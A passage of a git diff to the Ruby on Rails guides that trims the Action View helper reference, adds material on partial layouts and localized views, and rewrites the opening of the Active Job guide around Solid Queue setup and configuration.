+Article.create(body: "Partial Layouts are cool!")
 ```
 
-#### select_day
-
-Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+In the `show` template, you'll render the `_article` partial wrapped in the
+`box` layout:
 
-```ruby
-# Generates a select field for days that defaults to the day for the date provided
-select_day(Time.today + 2.days)
-
-# Generates a select field for days that defaults to the number given
-select_day(5)
+```html+erb
+<%# app/views/articles/show.html.erb %>
+<%= render partial: 'article', layout: 'box', locals: { article: @article } %>
 ```
 
-#### select_hour
-
-Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+The `box` layout simply wraps the `_article` partial in a `div`:
 
-```ruby
-# Generates a select field for hours that defaults to the hours for the time provided
-select_hour(Time.now + 6.hours)
+```html+erb
+<%# app/views/articles/_box.html.erb %>
+<div class="box">
+  <%= yield %>
+</div>
 ```
 
-#### select_minute
-
-Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
-
-```ruby
-# Generates a select field for minutes that defaults to the minutes for the time provided.
-select_minute(Time.now + 10.minutes)
-```
+Note that the partial layout has access to the local `article` variable that was
+passed into the `render` call, although it is not being used within
+`_box.html.erb` in this case.
 
-#### select_month
+Unlike application-wide layouts, partial layouts still have the underscore
+prefix in their name.
 
-Returns a select tag with options for each of the months January through December with the current month selected.
+You can also render a block of code within a partial layout instead of calling
+`yield`. For example, if you didn't have the `_article` partial, you could do
+this instead:
 
-```ruby
-# Generates a select field for months that defaults to the current month
-select_month(Date.today)
+```html+erb
+<%# app/views/articles/show.html.erb %>
+<%= render(layout: 'box', locals: { article: @article }) do %>
+  <div>
+    <p><%= article.body %></p>
+  </div>
+<% end %>
 ```
 
-#### select_second
-
-Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
-
-```ruby
-# Generates a select field for seconds that defaults to the seconds for the time provided
-select_second(Time.now + 16.seconds)
-```
+Assuming you use the same `_box` partial from above, this would produce the same
+output as the previous example.
 
-#### select_time
+### Collection with Partial Layouts
 
-Returns a set of HTML select-tags (one for hour and minute).
+When rendering collections it is also possible to use the `:layout` option:
 
-```ruby
-# Generates a time select that defaults to the time provided
-select_time(Time.now)
+```erb
+<%= render partial: "article", collection: @articles, layout: "special_layout" %>
 ```
 
-#### select_year
+The layout will be rendered together with the partial for each item in the
+collection. The current object and object_counter variables, `article` and
+`article_counter` in the above example, will be available in the layout as well,
+the same way they are within the partial.
 
-Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`.
+Helpers
+-------
 
-```ruby
-# Generates a select field for five years on either side of Date.today that defaults to the current year
-select_year(Date.today)
+Rails provides many helper methods to use with Action View. These include
+methods for:
 
-# Generates a select field from 1900 to 2009 that defaults to the current year
-select_year(Date.today, start_year: 1900, end_year: 2009)
-```
+* Formatting dates, strings and numbers
+* Creating HTML links to images, videos, stylesheets, etc...
+* Sanitizing content
+* Creating forms
+* Localizing content
 
-#### time_ago_in_words
+You can learn more about helpers in the [Action View Helpers
+Guide](action_view_helpers.html) and the [Action View Form Helpers
+Guide](form_helpers.html).
 
-Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`.
+Localized Views
+---------------
 
-```ruby
-time_ago_in_words(3.minutes.from_now)  # => 3 minutes
-```
+Action View has the ability to render different templates depending on the
+current locale.
 
-#### time_select
-
-Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
-
-```ruby
-# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
-time_select("order", "submitted")
-```
-
-### DebugHelper
-
-Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object.
-
-```ruby
-my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] }
-debug(my_hash)
-```
-
-```html
-<pre class='debug_dump'>---
-first: 1
-second: two
-third:
-- 1
-- 2
-- 3
-</pre>
-```
-
-### FormHelper
-
-Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.
-
-There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the `ActionView::Helpers::FormTagHelper` documentation.
-
-The core method of this helper, `form_for`, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
-
-```html+erb
-# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
-<%= form_for @person, url: { action: "create" } do |f| %>
-  <%= f.text_field :first_name %>
-  <%= f.text_field :last_name %>
-  <%= submit_tag 'Create' %>
-<% end %>
-```
-
-The HTML generated for this would be:
-
-```html
-<form action="/people/create" method="post">
-  <input id="person_first_name" name="person[first_name]" type="text" />
-  <input id="person_last_name" name="person[last_name]" type="text" />
-  <input name="commit" type="submit" value="Create" />
-</form>
-```
-
-The params object created when this form is submitted would look like:
-
-```ruby
-{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } }
-```
-
-The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
-
-#### check_box
-
-Returns a checkbox tag tailored for accessing a specified attribute.
-
-```ruby
-# Let's say that @article.validated? is 1:
-check_box("article", "validated")
-# => <input type="checkbox" id="article_validated" name="article[validated]" value="1" />
-#    <input name="article[validated]" type="hidden" value="0" />
-```
-
-#### fields_for
-
-Creates a scope around a specific model object like `form_for`, but doesn't create the form tags themselves. This makes `fields_for` suitable for specifying additional model objects in the same form:
-
-```html+erb
-<%= form_for @person, url: { action: "update" } do |person_form| %>
-  First name: <%= person_form.text_field :first_name %>
-  Last name : <%= person_form.text_field :last_name %>
-
-  <%= fields_for @person.permission do |permission_fields| %>
-    Admin?  : <%= permission_fields.check_box :admin %>
-  <% end %>
-<% end %>
-```
-
-#### file_field
-
-Returns a file upload input tag tailored for accessing a specified attribute.
-
-```ruby
-file_field(:user, :avatar)
-# => <input type="file" id="user_avatar" name="user[avatar]" />
-```
-
-#### form_for
-
-Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
-
-```html+erb
-<%= form_for @article do |f| %>
-  <%= f.label :title, 'Title' %>:
-  <%= f.text_field :title %><br>
-  <%= f.label :body, 'Body' %>:
-  <%= f.text_area :body %><br>
-<% end %>
-```
-
-#### hidden_field
-
-Returns a hidden input tag tailored for accessing a specified attribute.
-
-```ruby
-hidden_field(:user, :token)
-# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
-```
-
-#### label
-
-Returns a label tag tailored for labelling an input field for a specified attribute.
-
-```ruby
-label(:article, :title)
-# => <label for="article_title">Title</label>
-```
-
-#### password_field
-
-Returns an input tag of the "password" type tailored for accessing a specified attribute.
-
-```ruby
-password_field(:login, :pass)
-# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
-```
-
-#### radio_button
-
-Returns a radio button tag for accessing a specified attribute.
-
-```ruby
-# Let's say that @article.category returns "rails":
-radio_button("article", "category", "rails")
-radio_button("article", "category", "java")
-# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
-#    <input type="radio" id="article_category_java" name="article[category]" value="java" />
-```
-
-#### text_area
-
-Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
-
-```ruby
-text_area(:comment, :text, size: "20x30")
-# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
-#      #{@comment.text}
-#    </textarea>
-```
-
-#### text_field
-
-Returns an input tag of the "text" type tailored for accessing a specified attribute.
-
-```ruby
-text_field(:article, :title)
-# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" />
-```
-
-#### email_field
-
-Returns an input tag of the "email" type tailored for accessing a specified attribute.
-
-```ruby
-email_field(:user, :email)
-# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" />
-```
-
-#### url_field
-
-Returns an input tag of the "url" type tailored for accessing a specified attribute.
-
-```ruby
-url_field(:user, :url)
-# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" />
-```
-
-### FormOptionsHelper
-
-Provides a number of methods for turning different kinds of containers into a set of option tags.
-
-#### collection_select
-
-Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class.
-
-Example object structure for use with this method:
-
-```ruby
-class Article < ApplicationRecord
-  belongs_to :author
-end
-
-class Author < ApplicationRecord
-  has_many :articles
-  def name_with_initial
-    "#{first_name.first}. #{last_name}"
-  end
-end
-```
-
-Sample usage (selecting the associated Author for an instance of Article, `@article`):
-
-```ruby
-collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true })
-```
-
-If `@article.author_id` is 1, this would return:
-
-```html
-<select name="article[author_id]">
-  <option value="">Please select</option>
-  <option value="1" selected="selected">D. Heinemeier Hansson</option>
-  <option value="2">D. Thomas</option>
-  <option value="3">M. Clark</option>
-</select>
-```
-
-#### collection_radio_buttons
-
-Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class.
-
-Example object structure for use with this method:
-
-```ruby
-class Article < ApplicationRecord
-  belongs_to :author
-end
-
-class Author < ApplicationRecord
-  has_many :articles
-  def name_with_initial
-    "#{first_name.first}. #{last_name}"
-  end
-end
-```
-
-Sample usage (selecting the associated Author for an instance of Article, `@article`):
-
-```ruby
-collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial)
-```
-
-If `@article.author_id` is 1, this would return:
-
-```html
-<input id="article_author_id_1" name="article[author_id]" type="radio" value="1" checked="checked" />
-<label for="article_author_id_1">D. Heinemeier Hansson</label>
-<input id="article_author_id_2" name="article[author_id]" type="radio" value="2" />
-<label for="article_author_id_2">D. Thomas</label>
-<input id="article_author_id_3" name="article[author_id]" type="radio" value="3" />
-<label for="article_author_id_3">M. Clark</label>
-```
-
-#### collection_check_boxes
-
-Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class.
-
-Example object structure for use with this method:
-
-```ruby
-class Article < ApplicationRecord
-  has_and_belongs_to_many :authors
-end
-
-class Author < ApplicationRecord
-  has_and_belongs_to_many :articles
-  def name_with_initial
-    "#{first_name.first}. #{last_name}"
-  end
-end
-```
-
-Sample usage (selecting the associated Authors for an instance of Article, `@article`):
-
-```ruby
-collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial)
-```
-
-If `@article.author_ids` is [1], this would return:
-
-```html
-<input id="article_author_ids_1" name="article[author_ids][]" type="checkbox" value="1" checked="checked" />
-<label for="article_author_ids_1">D. Heinemeier Hansson</label>
-<input id="article_author_ids_2" name="article[author_ids][]" type="checkbox" value="2" />
-<label for="article_author_ids_2">D. Thomas</label>
-<input id="article_author_ids_3" name="article[author_ids][]" type="checkbox" value="3" />
-<label for="article_author_ids_3">M. Clark</label>
-<input name="article[author_ids][]" type="hidden" value="" />
-```
-
-#### option_groups_from_collection_for_select
-
-Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments.
-
-Example object structure for use with this method:
-
-```ruby
-class Continent < ApplicationRecord
-  has_many :countries
-  # attribs: id, name
-end
-
-class Country < ApplicationRecord
-  belongs_to :continent
-  # attribs: id, name, continent_id
-end
-```
-
-Sample usage:
-
-```ruby
-option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
-```
-
-Possible output:
-
-```html
-<optgroup label="Africa">
-  <option value="1">Egypt</option>
-  <option value="4">Rwanda</option>
-  ...
-</optgroup>
-<optgroup label="Asia">
-  <option value="3" selected="selected">China</option>
-  <option value="12">India</option>
-  <option value="5">Japan</option>
-  ...
-</optgroup>
-```
-
-Note: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag.
-
-#### options_for_select
-
-Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
-
-```ruby
-options_for_select([ "VISA", "MasterCard" ])
-# => <option>VISA</option> <option>MasterCard</option>
-```
-
-Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
-
-#### options_from_collection_for_select
-
-Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text.
-
-```ruby
-# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
-```
-
-For example, imagine a loop iterating over each person in `@project.people` to generate an input tag:
-
-```ruby
-options_from_collection_for_select(@project.people, "id", "name")
-# => <option value="#{person.id}">#{person.name}</option>
-```
-
-Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
-
-#### select
-
-Create a select tag and a series of contained option tags for the provided object and method.
-
-Example:
-
-```ruby
-select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true })
-```
-
-If `@article.person_id` is 1, this would become:
-
-```html
-<select name="article[person_id]">
-  <option value=""></option>
-  <option value="1" selected="selected">David</option>
-  <option value="2">Eileen</option>
-  <option value="3">Rafael</option>
-</select>
-```
-
-#### time_zone_options_for_select
-
-Returns a string of option tags for pretty much any time zone in the world.
-
-#### time_zone_select
-
-Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
-
-```ruby
-time_zone_select( "user", "time_zone")
-```
-
-#### date_field
-
-Returns an input tag of the "date" type tailored for accessing a specified attribute.
-
-```ruby
-date_field("user", "dob")
-```
-
-### FormTagHelper
-
-Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
-
-#### check_box_tag
-
-Creates a check box form input tag.
-
-```ruby
-check_box_tag 'accept'
-# => <input id="accept" name="accept" type="checkbox" value="1" />
-```
-
-#### field_set_tag
-
-Creates a field set for grouping HTML form elements.
-
-```html+erb
-<%= field_set_tag do %>
-  <p><%= text_field_tag 'name' %></p>
-<% end %>
-# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
-```
-
-#### file_field_tag
-
-Creates a file upload field.
-
-```html+erb
-<%= form_tag({ action: "post" }, multipart: true) do %>
-  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
-  <%= submit_tag %>
-<% end %>
-```
-
-Example output:
-
-```ruby
-file_field_tag 'attachment'
-# => <input id="attachment" name="attachment" type="file" />
-```
-
-#### form_tag
-
-Starts a form tag that points the action to a URL configured with `url_for_options` just like `ActionController::Base#url_for`.
-
-```html+erb
-<%= form_tag '/articles' do %>
-  <div><%= submit_tag 'Save' %></div>
-<% end %>
-# => <form action="/articles" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
-```
-
-#### hidden_field_tag
-
-Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
-
-```ruby
-hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
-# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
-```
-
-#### image_submit_tag
-
-Displays an image which when clicked will submit the form.
-
-```ruby
-image_submit_tag("login.png")
-# => <input src="/images/login.png" type="image" />
-```
-
-#### label_tag
-
-Creates a label field.
-
-```ruby
-label_tag 'name'
-# => <label for="name">Name</label>
-```
-
-#### password_field_tag
-
-Creates a password field, a masked text field that will hide the users input behind a mask character.
-
-```ruby
-password_field_tag 'pass'
-# => <input id="pass" name="pass" type="password" />
-```
-
-#### radio_button_tag
-
-Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
-
-```ruby
-radio_button_tag 'gender', 'male'
-# => <input id="gender_male" name="gender" type="radio" value="male" />
-```
-
-#### select_tag
-
-Creates a dropdown selection box.
-
-```ruby
-select_tag "people", "<option>David</option>"
-# => <select id="people" name="people"><option>David</option></select>
-```
-
-#### submit_tag
-
-Creates a submit button with the text provided as the caption.
-
-```ruby
-submit_tag "Publish this article"
-# => <input name="commit" type="submit" value="Publish this article" />
-```
-
-#### text_area_tag
-
-Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
-
-```ruby
-text_area_tag 'article'
-# => <textarea id="article" name="article"></textarea>
-```
-
-#### text_field_tag
-
-Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
-
-```ruby
-text_field_tag 'name'
-# => <input id="name" name="name" type="text" />
-```
-
-#### email_field_tag
-
-Creates a standard input field of email type.
-
-```ruby
-email_field_tag 'email'
-# => <input id="email" name="email" type="email" />
-```
-
-#### url_field_tag
-
-Creates a standard input field of url type.
-
-```ruby
-url_field_tag 'url'
-# => <input id="url" name="url" type="url" />
-```
-
-#### date_field_tag
-
-Creates a standard input field of date type.
-
-```ruby
-date_field_tag "dob"
-# => <input id="dob" name="dob" type="date" />
-```
-
-### JavaScriptHelper
-
-Provides functionality for working with JavaScript in your views.
-
-#### escape_javascript
-
-Escape carrier returns and single and double quotes for JavaScript segments.
-
-#### javascript_tag
-
-Returns a JavaScript tag wrapping the provided code.
-
-```ruby
-javascript_tag "alert('All is good')"
-```
-
-```html
-<script>
-//<![CDATA[
-alert('All is good')
-//]]>
-</script>
-```
-
-### NumberHelper
-
-Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
-
-#### number_to_currency
-
-Formats a number into a currency string (e.g., $13.65).
-
-```ruby
-number_to_currency(1234567890.50) # => $1,234,567,890.50
-```
-
-#### number_to_human_size
-
-Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
-
-```ruby
-number_to_human_size(1234)          # => 1.2 KB
-number_to_human_size(1234567)       # => 1.2 MB
-```
-
-#### number_to_percentage
-
-Formats a number as a percentage string.
-
-```ruby
-number_to_percentage(100, precision: 0)        # => 100%
-```
-
-#### number_to_phone
-
-Formats a number into a phone number (US by default).
-
-```ruby
-number_to_phone(1235551234) # => 123-555-1234
-```
-
-#### number_with_delimiter
-
-Formats a number with grouped thousands using a delimiter.
-
-```ruby
-number_with_delimiter(12345678) # => 12,345,678
-```
-
-#### number_with_precision
-
-Formats a number with the specified level of `precision`, which defaults to 3.
-
-```ruby
-number_with_precision(111.2345)     # => 111.235
-number_with_precision(111.2345, precision: 2)  # => 111.23
-```
-
-### SanitizeHelper
-
-The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
-
-#### sanitize
-
-This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed.
-
-```ruby
-sanitize @article.body
-```
-
-If either the `:attributes` or `:tags` options are passed, only the mentioned attributes and tags are allowed and nothing else.
-
-```ruby
-sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
-```
-
-To change defaults for multiple uses, for example adding table tags to the default:
-
-```ruby
-class Application < Rails::Application
-  config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
-end
-```
-
-#### sanitize_css(style)
-
-Sanitizes a block of CSS code.
-
-#### strip_links(html)
-Strips all link tags from text leaving just the link text.
-
-```ruby
-strip_links('<a href="http://rubyonrails.org">Ruby on Rails</a>')
-# => Ruby on Rails
-```
-
-```ruby
-strip_links('emails to <a href="mailto:me@email.com">me@email.com</a>.')
-# => emails to me@email.com.
-```
-
-```ruby
-strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
-# => Blog: Visit.
-```
-
-#### strip_tags(html)
-
-Strips all HTML tags from the html, including comments.
-This functionality is powered by the rails-html-sanitizer gem.
-
-```ruby
-strip_tags("Strip <i>these</i> tags!")
-# => Strip these tags!
-```
-
-```ruby
-strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more</a>")
-# => Bold no more!  See more
-```
-
-NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers.
-
-### CsrfHelper
-
-Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
-request forgery protection parameter and token, respectively.
-
-```html
-<%= csrf_meta_tags %>
-```
-
-NOTE: Regular forms generate hidden fields so they do not use these tags. More
-details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf).
-
-Localized Views
----------------
-
-Action View has the ability to render different templates depending on the current locale.
-
-For example, suppose you have an `ArticlesController` with a show action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/articles/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
-
-You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
-
-Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
-
-```ruby
-before_action :set_expert_locale
-
-def set_expert_locale
-  I18n.locale = :expert if current_user.expert?
-end
-```
+For example, suppose you have an `ArticlesController` with a `show` action. By
+default, calling this action will render `app/views/articles/show.html.erb`. But
+if you set `I18n.locale = :de`, then Action View will try to render the template
+`app/views/articles/show.de.html.erb` first. If the localized template isn't
+present, the undecorated version will be used. This means you're not required to
+provide localized views for all cases, but they will be preferred and used if
+available.
 
-Then you could create special views like `app/views/articles/show.expert.html.erb` that would only be displayed to expert users.
+You can use the same technique to localize the rescue files in your public
+directory. For example, setting `I18n.locale = :de` and creating
+`public/500.de.html` and `public/404.de.html` would allow you to have localized
+rescue pages.
 
-You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
+See the [Rails Internationalization (I18n) API documentation](i18n.html) for
+more details.
diff --git a/guides/source/active_job_basics.md b/guides/source/active_job_basics.md
index c65d1e6de5770..f46e0d0ca7ece 100644
--- a/guides/source/active_job_basics.md
+++ b/guides/source/active_job_basics.md
@@ -1,53 +1,41 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Job Basics
 =================
 
-This guide provides you with all you need to get started in creating,
-enqueuing and executing background jobs.
+This guide provides you with all you need to get started in creating, enqueuing
+and executing background jobs.
 
 After reading this guide, you will know:
 
-* How to create jobs.
-* How to enqueue jobs.
+* How to create and enqueue jobs.
+* How to configure and use Solid Queue.
 * How to run jobs in the background.
 * How to send emails from your application asynchronously.
 
 --------------------------------------------------------------------------------
 
+What is Active Job?
+-------------------
 
-Introduction
-------------
-
-Active Job is a framework for declaring jobs and making them run on a variety
-of queuing backends. These jobs can be everything from regularly scheduled
-clean-ups, to billing charges, to mailings. Anything that can be chopped up
-into small units of work and run in parallel, really.
-
-
-The Purpose of Active Job
------------------------------
-The main point is to ensure that all Rails apps will have a job infrastructure
-in place. We can then have framework features and other gems build on top of that,
-without having to worry about API differences between various job runners such as
-Delayed Job and Resque. Picking your queuing backend becomes more of an operational
-concern, then. And you'll be able to switch between them without having to rewrite
-your jobs.
-
-NOTE: Rails by default comes with an asynchronous queuing implementation that
-runs jobs with an in-process thread pool. Jobs will run asynchronously, but any
-jobs in the queue will be dropped upon restart.
+Active Job is a framework in Rails designed for declaring background jobs and
+executing them on a queuing backend. It provides a standardized interface for
+tasks like sending emails, processing data, or handling regular maintenance
+activities, such as clean-ups and billing charges. By offloading these tasks
+from the main application thread to a queuing backend like the default Solid
+Queue, Active Job ensures that time-consuming operations do not block the
+request-response cycle. This can improve the performance and responsiveness of
+the application, allowing it to handle tasks in parallel.
 
+Create and Enqueue Jobs
+-----------------------
 
-Creating a Job
---------------
-
-This section will provide a step-by-step guide to creating a job and enqueuing it.
+This section will provide a step-by-step guide to create a job and enqueue it.
 
 ### Create the Job
 
-Active Job provides a Rails generator to create jobs. The following will create a
-job in `app/jobs` (with an attached test case under `test/jobs`):
+Active Job provides a Rails generator to create jobs. The following will create
+a job in `app/jobs` (with an attached test case under `test/jobs`):
 
 ```bash
 $ bin/rails generate job guests_cleanup
@@ -79,9 +67,27 @@ end
 
 Note that you can define `perform` with as many arguments as you want.
 
+If you already have an abstract class and its name differs from
+`ApplicationJob`, you can pass the `--parent` option to indicate you want a
+different abstract class:
+
+```bash
+$ bin/rails generate job process_payment --parent=payment_job
+```
+
+```ruby
+class ProcessPaymentJob < PaymentJob
+  queue_as :default
+
+  def perform(*args)
+    # Do something later
+  end
+end
+```
+
 ### Enqueue the Job
 
-Enqueue a job like so:
+Enqueue a job using [`perform_later`][] and, optionally, [`set`][]. Like so:
 
 ```ruby
 # Enqueue a job to be performed as soon as the queuing system is
@@ -102,84 +108,404 @@ GuestsCleanupJob.set(wait: 1.week).perform_later(guest)
 ```ruby
 # `perform_now` and `perform_later` will call `perform` under the hood so
 # you can pass as many arguments as defined in the latter.
-GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter')
+GuestsCleanupJob.perform_later(guest1, guest2, filter: "some_filter")
 ```
 
 That's it!
 
-Job Execution
--------------
+[`perform_later`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later
+[`set`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Core/ClassMethods.html#method-i-set
 
-For enqueuing and executing jobs in production you need to set up a queuing backend,
-that is to say you need to decide for a 3rd-party queuing library that Rails should use.
-Rails itself only provides an in-process queuing system, which only keeps the jobs in RAM.
-If the process crashes or the machine is reset, then all outstanding jobs are lost with the
-default async back-end. This may be fine for smaller apps or non-critical jobs, but most
-production apps will need to pick a persistent backend.
+### Enqueue Jobs in Bulk
 
-### Backends
+You can enqueue multiple jobs at once using
+[`perform_all_later`](https://api.rubyonrails.org/classes/ActiveJob.html#method-c-perform_all_later).
+For more details see [Bulk Enqueuing](#bulk-enqueuing).
 
-Active Job has built-in adapters for multiple queuing backends (Sidekiq,
-Resque, Delayed Job and others). To get an up-to-date list of the adapters
-see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+Default Backend: Solid Queue
+------------------------------
 
-### Setting the Backend
+Solid Queue, which is enabled by default from Rails version 8.0 and onward, is a
+database-backed queuing system for Active Job, allowing you to queue large
+amounts of data without requiring additional dependencies such as Redis.
 
-You can easily set your queuing backend:
+Besides regular job enqueuing and processing, Solid Queue supports delayed jobs,
+concurrency controls, numeric priorities per job, priorities by queue order, and
+more.
+
+### Set Up
+
+#### Development
+
+In development, Rails provides an asynchronous in-process queuing system, which
+keeps the jobs in RAM. If the process crashes or the machine is reset, then all
+outstanding jobs are lost with the default async backend. This can be fine for
+smaller apps or non-critical jobs in development.
+
+However, if you use Solid Queue instead, you can configure it in the same way as
+in the production environment:
 
 ```ruby
-# config/application.rb
-module YourApp
-  class Application < Rails::Application
-    # Be sure to have the adapter's gem in your Gemfile
-    # and follow the adapter's specific installation
-    # and deployment instructions.
-    config.active_job.queue_adapter = :sidekiq
+# config/environments/development.rb
+config.active_job.queue_adapter = :solid_queue
+config.solid_queue.connects_to = { database: { writing: :queue } }
+```
+
+which sets the `:solid_queue` adapter as the default for Active Job in the
+development environment, and connects to the `queue` database for writing.
+
+Thereafter, you'd add `queue` to the development database configuration:
+
+```yaml
+# config/database.yml
+development:
+  primary:
+    <<: *default
+    database: storage/development.sqlite3
+  queue:
+    <<: *default
+    database: storage/development_queue.sqlite3
+    migrations_paths: db/queue_migrate
+```
+
+NOTE: The key `queue` from the database configuration needs to match the key
+used in the configuration for `config.solid_queue.connects_to`.
+
+You can then run `db:prepare` to ensure the `queue` database in `development` has all the required tables:
+
+```bash
+$ bin/rails db:prepare
+```
+
+TIP: You can find the default generated schema for the `queue` database in
+`db/queue_schema.rb`. They will contain tables like
+`solid_queue_ready_executions`, `solid_queue_scheduled_executions`, and more.
+
+Finally, to start the queue and start processing jobs you can run:
+
+```bash
+bin/jobs start
+```
+
+#### Production
+
+Solid Queue is already configured for the production environment. If you open
+`config/environments/production.rb`, you will see the following:
+
+```ruby
+# config/environments/production.rb
+# Replace the default in-process and non-durable queuing backend for Active Job.
+config.active_job.queue_adapter = :solid_queue
+config.solid_queue.connects_to = { database: { writing: :queue } }
+```
+
+Additionally, the database connection for the `queue` database is configured in
+`config/database.yml`:
+
+```yaml
+# config/database.yml
+# Store production database in the storage/ directory, which by default
+# is mounted as a persistent Docker volume in config/deploy.yml.
+production:
+  primary:
+    <<: *default
+    database: storage/production.sqlite3
+  queue:
+    <<: *default
+    database: storage/production_queue.sqlite3
+    migrations_paths: db/queue_migrate
+```
+
+Make sure you run `db:prepare` so your database is ready to use:
+
+```bash
+$ bin/rails db:prepare
+```
+
+
+### Configuration
+
+The configuration options for Solid Queue are defined in `config/queue.yml`.
+Here is an example of the default configuration:
+
+```yaml
+default: &default
+  dispatchers:
+    - polling_interval: 1
+      batch_size: 500
+  workers:
+    - queues: "*"
+      threads: 3
+      processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %>
+      polling_interval: 0.1
+```
+
+In order to understand the configuration options for Solid Queue, you must
+understand the different types of roles:
+
+- **Dispatchers**: They select jobs scheduled to run for the future. When it's
+  time for these jobs to run, dispatchers move them from the
+  `solid_queue_scheduled_executions` table to the `solid_queue_ready_executions`
+  table so workers can pick them up. They also manage concurrency-related
+  maintenance.
+- **Workers**: They pick up jobs that are ready to run. These jobs are taken
+  from the `solid_queue_ready_executions` table.
+- **Scheduler**: This takes care of recurring tasks, adding jobs to the queue
+  when they're due.
+- **Supervisor**: It oversees the whole system, managing workers and
+  dispatchers. It starts and stops them as needed, monitors their health, and
+  ensures everything runs smoothly.
+
+Everything is optional in the `config/queue.yml`. If no configuration is
+provided, Solid Queue will run with one dispatcher and one worker with default
+settings. Below are some of the configuration options you can set in
+`config/queue.yml`:
+
+| **Option**                           | **Description**                                                                                     | **Default Value**                             |
+| ------------------------------------ | --------------------------------------------------------------------------------------------------- | --------------------------------------------- |
+| **polling_interval**                 | Time in seconds workers/dispatchers wait before checking for more jobs.                             | 1 second (dispatchers), 0.1 seconds (workers) |
+| **batch_size**                       | Number of jobs dispatched in a batch.                                                               | 500                                           |
